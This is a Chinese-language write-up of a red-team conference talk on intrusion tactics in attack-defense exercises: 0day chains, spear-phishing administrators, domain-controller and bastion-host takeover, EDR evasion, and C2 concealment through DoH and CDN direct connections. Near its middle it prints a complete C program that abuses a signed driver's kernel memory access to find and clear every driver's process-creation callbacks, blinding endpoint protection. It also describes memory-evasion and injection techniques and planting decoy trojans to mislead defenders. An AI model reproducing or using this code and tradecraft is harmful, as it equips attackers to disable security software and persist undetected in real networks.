10.28 在第二届 ADconf 分享了议题。官微链接- 参与实战的朋友应该有了解,今年的电子签约、统一认证类漏洞比较火
- 这个案例就是打了一个某签约应用的0day,但很快就被流量监控捕获了。这个攻击线路就结束了,可以说还没开始就结束了。
- 然后继续社工钓鱼(免杀--bypass 端侧防护),抓取鱼的浏览器、进一步横向、拿了一些新据点、分析了一些数据和系统,没什么信息了,开始慢慢探测,探测这个行为又被流量捕获了。这条线又被迫结束。【在大攻防期间,防守对抗还是比较有效的,毕竟当期有很多人也在看着监控设备】
- 利用浏览器的密码,定位了知识库(内容类集权)、结合统一身份认证SSO,再次结合内部邮箱、组织架构,给管理员二次钓鱼,钓上来就是域内主机、然后拿下域控权限(多点维权),利用域控的正常管理手段去下发组策略,让运维管理员和应用管理员上线,利用管理权限去登录了堡垒机,然后利用堡垒机的后利用进一步搞定托管的主机,进而拿下靶标权限。
- 0day在强对抗下不一定打成功,0day能保证突破边界,但不能保证内网持久程度;
- 精准社工后打集权是主流手法(毕竟上帝视角并且攻击流量相对比较可信)。
第一个,0day体系化,漏洞储备的体系化,(区别于仅常见的应用漏洞),IT应用串;包括漏洞的有效组合以及后利用。甚至一些二进制相关的漏洞;第二个,社工钓鱼的精准化,多样化,社工钓鱼更加人性化、需求强吻合(骗子是真心的,因为他是真心想骗你);除了外围钓鱼突破,目前来看基于内网信息的二次钓鱼,明显能够钓到管理员会让整个攻击 事半功倍。第三个,供应链攻击具象化,大小供应链,大行业通用型、厂商推送类(补丁服务器);行业属性类、数科运维建设类(央企数科公司)、软开通用类...第四个,武器装备定制化,无特征、躲避监控、攻击效率、模拟白名单 管理集权:堡垒机、AD域控、EDR总控、K8s... ;后利用 内容集权:知识库、OA、邮箱、网盘存储...;后利用第六个,横向移动无感化,集权产品后利用管理员化,设备研究底层化(镜像流量,捕获密码方法),加密流量、认证优先、狡兔三窟等策略。第七个,关基业务熟练化,关基逻辑结构(金融、能源、交通、运营商等)、曲线救国、跑马圈地等。对行业的关键业务以及结构比较了解。第一个,进攻谋略,两倍积分、三倍积分,但并不是所有高倍目标都是在进攻范围,大概多少人、金融目标类靶标率,都需要提前筹划和安排。优势&劣势、可能的风险以及可能的产出,对应的ROI,当然还有技术策略,例如木马的维持策略-二分,反调试、迷惑分析方等;第二个,0day 及后利用(getshell 的最大化--知识标准化,而非临时研究),以及对应组件的维权;原理及魔改;工具化等;第三个,社工钓鱼&维权,多样化、二次精准钓鱼(管理员)、稳控与快速维权;第四个,RAT&C2,木马免杀和维权,尽量不临时调,多储备。第五个,后利用,集权后利用的体系化;什么类型、什么品牌的集权设备的下一步动作标准化。资源衔接第六个,信息关联再利用,内外网信息关联,耐心度。如果做不到降维打击,还是需要再次学习再次研究才能拿到靶标,这时候拼学习速度和基本功。需要根据已有信息的最大化。
前面提到了0day储备是成体系的,不仅仅是常见应用。例如办公协同类、企业工具类、业务管理类、运维管理类、安全防护类;类似像OA、网盘、WIKI、cms 属于办公协同类;监控类属于工具类、ERP CRM SSO 归到业务管理类,常见的运维机堡垒机跳板机属于 运维管理类、还有一些安全产品,包括VPN、零信任、EDR总控等等;(按照今年实战结束后,统计了一下漏洞比例,OA和设备类漏洞占比超过了60%;)企业的应用是这个框架,那我们的进攻目标总是离不开这些应用系统。通过应用到达应用---登录---认证/校验---数据库---业务数据OA/CMS---login---SSO/MFA---DLP---crypto【端点、网络、边界、应用】这个目标的路径上有哪些可能的业务应用,路径上包括的必要性防护、串联的应用。瞄准这个路径应用即可,相对线性。后利用-体系化(这也是后续攻防的一个重点差异化的点)目的不仅仅是getshell,更关键是shell后拿到我们想要的信息和托管主机权限;毕竟靶标大部分情况下都是业务系统。业务系统大部分又是托管在运维系统上;假如漏洞的对抗属性、集权的后利用都是临时研究,肯定会影响进攻效率。所以也是推荐后利用的体系化储备的。
三部分,整体的进攻思路、端侧的攻击手法、端侧的检测维度根据实战也得出,攻击者会产生各类行为动作,其中90%的行为动作在端上进行。红队创新点的这个图,上次第一届ADconf 的时候提到过,主要讲了关于整个攻击链从信息收集到靶标获取这个过程可以优化和创新的点,这次我们把这些攻击思路具象到端侧,端侧的攻击思路和端侧的防御思路,毕竟主要对抗在端侧和流量侧,我们找到对应的逃逸方法和升级思路。- 钓鱼突破,现在的方式也比较多,正常业务用到什么方式我们就用什么方法,包括邮件、电话、社交、短信、功能等,尤其电话,直接打电话肯定能够制造一种紧迫感。越来越逼近电信诈骗...的手段和技术;
- 维持据点现在最多是白利用,当然还是穿插了一些隐匿策略,目的一定是把木马留在内网,可以慢一些,在强对抗模式下求快反而会更慢,木马免杀、权限维持、攻击手法三者相辅相成,其中一个出现问题,都导致木马被踢出;另外我们实战过程也会根据场景去构建,故意让分析人员找到的木马,这样分析人员也觉得有了新的阶段性成果。宗旨是允许被杀、但不能被杀尽。毕竟他如果没有排查出来木马,很可能直接重装,反而我们得损失更大,所以我们需要让他查杀出来。并且让防守分析人员觉得有成就感;
- 漏洞攻击,一般如果没有常规的弱口令和漏洞,后面基本上跟前渗透打点过程一样。包括常见的漏洞攻击、Web应用漏洞等, 专项协议的漏洞越来越明显,例如存在一些大端口的专有协议漏洞(二进制相关洞);
- 认证的突破,漏洞与认证相辅相成,内网信息收集二次加工和关联,肯定有效果;
- 集权类,通过端打总控,然后总控去控制其他端; (上帝视角)
1. 文件特征,包括像常见的特征码、导入导出表、调用链、信息熵等2. 进程特征,包括子进程和线程的创建,模块加载、提权行为、API调用等4. 流量特征,包括恶意域名、心跳特征、协议特征等
- 静态文件逃逸,常见的方法有:API重写动态加载、免杀壳伪造入口点、SMC(Self-Modifying Code)、细粒度分段加密、基本上主旨思路就是降低“危险值”
- 内存特征逃逸,常见的手法有:shellcode内存加密/自解密运行、线程堆栈欺骗、干扰语义分析引擎、虚拟机壳
- 进程行为逃逸,常见的手法有:syscall unhook 反射dll注入、 进程注入
- EDR致盲的手法:用户态R3的高权限句柄、DOS漏洞;内核态R0的 白签名驱动-终止、自签名驱动任意读写;虚拟化的融合WCIF(新)
接下来我们看一下刚才那几种端侧方法的一些典型逃逸对抗方法(节选)静态文件 主要对抗的事信息熵;对需要保护的代码数据片段进行加密,破坏可读性,同时还不能显著增加信息熵;具体的方法是:每个480个字节加密48字节,可以保障在破坏加密区域代码可读性的同时,还不会增加信息熵。kernel!base!SleepEX和 ntdll.dll!NtdelayExecution是beacon处于睡眠状态的标致, 0x22d6bd5bd51 这个地址,虚拟内存,恶意特征;利用对sleep 的hook,在shellcode 进入休眠状态后将线程的反馈地址改为0;这样调用链就不存在那些虚拟地址(左侧调用链的8、9、10部分),从而达到堆栈欺骗的效果看雪关于高级进程注入的总结(https://bbs.kanxue.com/thread-271554.htm),包括常见的Module Stomping、进程镂空等;当然这些技术已经被大厂的EDR都盯上了,甚至有些技术也是厂商写出来的。这个Threadless Process Injection相对新一些,更有效些。组合跨进程的内存分配,hook dll 导出函数; 把shellcode 和hook 代码写到代码空隙里,然后将一个正常加载的dll 的某个方法给patch,被动等待调用。这个技术有点像module stomping, 但比起module stomping,这个是无线程的。 利用高权限句柄;遍历伪句柄表,找到拥有EDR进程高权限句柄的程序 DOS;( MinimumStackCommitInBytes ) 白签名驱动 ZwTerminateProcess(驱动自带的终止进程) Windows Container Isolation Framework 我们重点说一下典型致盲技术-白签名驱动任意地址读写利用任意地址读写的驱动来清除内核中杀软驱动注册的回调函数,从而致盲杀软的部分功能#include "header.h"
HANDLE hDevice = NULL;
HANDLE Process = NULL;
PVOID GetNtoskrnlBase() {
PRTL_PROCESS_MODULES ModuleInfo = (PRTL_PROCESS_MODULES)calloc(1024 * 1024,1);
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, ModuleInfo, 1024*1024, NULL);
if (!NT_SUCCESS(status)) {
return 0;
}
for (int i = 0; i < ModuleInfo->NumberOfModules; i++)
{
if (lstrcmpiA((LPCSTR)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0) {
return ModuleInfo->Modules[i].ImageBase;
}
}
return 0;
}
INT64 GetFuncAddress(CHAR* FuncName) {
PVOID KBase=GetNtoskrnlBase();
if (KBase == 0) {
printf("未找到ntoskrnl.exe基地址\n");
return 0;
}
HMODULE ntos = LoadLibraryA("ntoskrnl.exe");
ULONG PocAddress = (ULONG)GetProcAddress(ntos, FuncName);
ULONG Offset = PocAddress - (ULONG)ntos;
return (INT64)KBase+Offset;
}
INT64 GetPspCreateProcessNotifyRoutineArray() {
INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress((CHAR*)"PsSetCreateProcessNotifyRoutine");
if (PsSetCallbacksNotifyRoutineAddress == 0) return 0;
//定位PspSetCreateProcessNotifyRoutine函数地址
INT count = 0;
BYTE* buffer = (BYTE*)malloc(1);
while (1) {
DriverReadMemery((VOID*)PsSetCallbacksNotifyRoutineAddress, buffer,1);
if (*buffer == 0xE8 || *buffer == 0xE9) {
break;
}
PsSetCallbacksNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + 1;
if (count == 200) {
printf("未找到Pspsetcreateprocessnotifyroutine 函数地址\n");
return 0;
}
count++;
}
//获取Pspsetcreateprocessnotifyroutine 函数的偏移地址
UINT64 PspOffset = 0;
for (int i = 4, k = 24; i > 0; i--, k = k - 8){
DriverReadMemery((VOID*)(PsSetCallbacksNotifyRoutineAddress + i), buffer, 1);
PspOffset = ((UINT64)*buffer << k) + PspOffset;
}
// 检查符号位
if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
PspOffset = PspOffset | 0xffffffff00000000; // 负偏移情况下的符号扩展
INT64 PspSetCallbackssNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + PspOffset + 5;
//printf("PspSetCallbackssNotifyRoutineAddress: %I64x\n", PspSetCallbackssNotifyRoutineAddress);
//获取PspCreateProcessNotifyRoutineArray 数组地址
//寻找lea 指令 来定位数组地址
BYTE SearchByte1 = 0x4C;
BYTE SearchByte2 = 0x8D;
BYTE bArray[3] = {0};
count = 0;
INT64 back = PspSetCallbackssNotifyRoutineAddress;
BOOL stop = FALSE;
while (count <= 200) {
DriverReadMemery((VOID*)PspSetCallbackssNotifyRoutineAddress, bArray, 3);
if (bArray[0] == SearchByte1 && bArray[1] == SearchByte2) {
if ((bArray[2] == 0x0D) || (bArray[2] == 0x15) || (bArray[2] == 0x1D) || (bArray[2] == 0x25) || (bArray[2] == 0x2D) || (bArray[2] == 0x35) || (bArray[2] == 0x3D))
{
break;
}
}
PspSetCallbackssNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + 1;
if (count == 200)
{
SearchByte1 = 0x48;
count = -1;
PspSetCallbackssNotifyRoutineAddress = back;
if (stop)
{
printf("未找到lea 指令,无法定位PspSetCallbackssNotifyRoutineAddress 数组\n");
return 0;
}
stop = true;
}
count++;
}
PspOffset = 0;
for (int i = 6, k = 24; i > 2; i--, k = k - 8) {
DriverReadMemery((VOID*)(PspSetCallbackssNotifyRoutineAddress + i), buffer, 1);
PspOffset = ((UINT64)*buffer << k) + PspOffset;
}
if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
PspOffset = PspOffset | 0xffffffff00000000;
INT64 PspCreateProcessNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + PspOffset + 7;
return PspCreateProcessNotifyRoutineAddress;
}
int main()
{
Process = InitialDriver();
if (!Process) return 0;
INT64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineArray();
if (!PspCreateProcessNotifyRoutineAddress) {
printf("Exit1\n");
return 0;
}
printf("PspCreateProcessNotifyRoutineAddress: %I64x\n", PspCreateProcessNotifyRoutineAddress);
INT64 buffer = 0;
//展示所有注册进程回调的驱动
printf("注册了进程回调的驱动基地址及其名称: \n----------------------------------------------------\n");
for (int k = 0; k < 64; k++)
{
DriverReadMemery((VOID*)(PspCreateProcessNotifyRoutineAddress +(k * 8)), &buffer, 8);
if (buffer == 0) continue;
INT64 tmpaddr = ((INT64)buffer >> 4) << 4;
DriverReadMemery((VOID*)(tmpaddr + 8), &buffer, 8);
INT64 DriverCallBackFuncAddr = (INT64)buffer;
DisplayDriverName(DriverCallBackFuncAddr);
}
printf("----------------------------------------------------\n以上不保证完全准确\n");
//清除全部驱动的进程回调
BYTE* data = (BYTE*)calloc(1, 1);
for (int i = 0; i < 64; i++)
{
DriverReadMemery(data, (VOID*)(PspCreateProcessNotifyRoutineAddress + (i * 8)), 8);
}
printf("[Success] 进程回调清除完成\n");
system("pause");
}
2. 然后定位PspSetCreateProcessNotifyRoutine函数地址3. 其次获取Pspsetcreateprocessnotifyroutine 函数的偏移地址4. 再后获取PspCreateProcessNotifyRoutineArray 数组地址6. 最后,利用DriverReadMemery(),清除全部/部分驱动的进程回调最终实现了终端应用的致盲,例如这个案例是大数字开了核晶,主进程仍然在,但他一些防护功能(文件防护、进程防护、安全防护、网络安全防护、对外攻击拦截)都已经灰色了,功能失效了。这样还能有效的避免因为主进程被杀死,跟总控端的通讯异常进而导致管理员的疑心。常见的一些检测手段包括域名情报、恶意外联、心跳特征等(类似像cs 这种c2都有心跳特征)、还有一些协议特征;一个是在流量侧不好发现恶意流量(https看不懂),类似DOH主要是完成的这部分。加密流量,当然加密流量也能解,可能需要平衡误报率;毕竟Doh是一个正常的技术应用。(没有伪装什么,都是正常的DNS流量)另一个是即使发现了是恶意流量,也(短期)阻止不了。例如cdn IP直连就是这个应用,我的木马跟CDN IP 直连,CDN利用域名跟我们的C2连接。即使捕获了域名封禁也没意义;因为木马不是跟域名直接通信;IP池可以最高支持1000个,并且是在内存中加密保存,分析人员短时间内无法全部分析出。极大增加了分析时间成本。顾名思义是domain over http; 还有DOT等 over TLS等技术不新,但落地比较晚。Windows和macOS也是只在最新的系统版本里刚刚支持,而腾讯DNSPod也是2022年才开放了DoH/DoT的公测。DoT 在专用端口上通过 TLS 连接 DNS 服务器,而 DoH 是基于使用 HTTPS 应用层协议,将查询发送到 HTTPS 端口上的特定 HTTP 端点,这里造成的外界感知就是端口号的不同,DoT 的端口号是 853,DoH 端口号 443。- 使用libcurl库顺便实现HTTPS远程加载shellcode,且无JA3指纹特征。
- 使用libcurl库的证书链校验/host校验功能,防止中间人攻击解密HTTPS流量。
文章来源: https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247484077&idx=1&sn=2d30b447ae75016248050f5034ceb0da&chksm=fb6e1a53cc1993454701698a00e92d2dbbf59c4d13b8789defe238ddd77273ced239de923e24&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh